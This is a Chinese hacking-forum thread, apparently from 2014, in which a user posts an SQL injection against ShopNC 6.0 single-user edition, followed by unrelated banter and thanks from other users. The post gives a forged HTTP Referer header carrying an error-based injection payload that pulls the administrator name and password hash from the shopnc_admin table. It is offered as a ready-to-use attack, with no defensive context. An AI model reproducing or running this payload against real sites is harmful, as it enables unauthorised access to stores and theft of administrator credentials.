shopnc 6.0 单用户版本 注入

Diana

shopnc 6.0 单用户版本

Shopnc 版本有点多啊 都不太记得是哪个了。

ShopNC®天津网城科技有限公司
Copyright© 2007-2009 ShopNC, Powered by ShopNC Team , All Rights Reserved
津ICP备08000171号

百度随便搜了一个。

这个都不用说了。 伪造HTTP头。

/index.php

[AppleScript] 纯文本查看 复制代码

referer:[url]http://08sec.com[/url]'and(select 1 from(select count(*),concat(floor(rand(0)*2),0x3a,(select(select(SELECT concat(admin_name,0x3a,admin_password)FROM shopnc_admin limit 0,1))from information_schema.tables limit 0,1))x from information_schema.tables group by x)a) and 1=1)#

gty48

我是沙发，哈哈@Diana
这个板块竟然没法发音乐，气死我了

Diana

gty48 发表于 2014-2-1 13:34
我是沙发，哈哈@Diana
这个板块竟然没法发音乐，气死我了

整天用音乐吓唬人把你就 (*^__^*) 嘻嘻……

gty48

Diana 发表于 2014-2-1 14:23
整天用音乐吓唬人把你就 (*^__^*) 嘻嘻……

是你先用音乐吓人吧，我是跟你学的

Diana

gty48 发表于 2014-2-1 14:31
是你先用音乐吓人吧，我是跟你学的

好吧你赢了。~

blck

感谢分享，貌似不是很知名